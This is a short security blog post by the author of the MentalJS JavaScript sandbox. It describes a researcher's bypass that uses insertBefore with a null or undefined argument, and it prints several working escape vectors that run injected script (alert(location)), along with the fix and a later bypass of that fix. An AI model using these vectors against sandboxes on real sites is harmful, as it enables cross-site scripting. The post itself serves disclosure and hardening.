MentalJS DOM bypass

Back to articles

hackvertor

Author:

Gareth Heyes

@hackvertor

Published: Fri, 06 Mar 2015 21:16:49 GMT

Updated: Sun, 23 Mar 2025 11:22:15 GMT

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-

_=document x =_.createElement('script'); s =_.createElement('style') s.innerHTML = '*/alert(location)//' t=_.createElement('b') t.textContent = '/*' x.insertBefore(t.firstChild, null); x.insertBefore(s, null) _.body.appendChild(x) x =_.createElement('script'); s =_.createElement('style') s.innerHTML = _.getElementsByTagName('script')[2].textContent x.insertBefore(s.firstChild, null) _.body.appendChild(x)

It can actually be compressed to the following:

s=document.createElement('script'); s.insertBefore(document.createTextNode('alert(location)'),null); document.body.appendChild(s);

The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn't see a way to use insertBefore without a null argument to cause another bypass.

Update...

@tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.

with(document) { s = createElement('script'); s.insertBefore(createTextNode('alert(location)'), [][[]]); body.appendChild(s); }
with(document) { s = createElement('script'); s.insertBefore(createTextNode('/**/'),null); s.insertBefore(createTextNode('alert(location)'),s.firstChild); }

Back to articles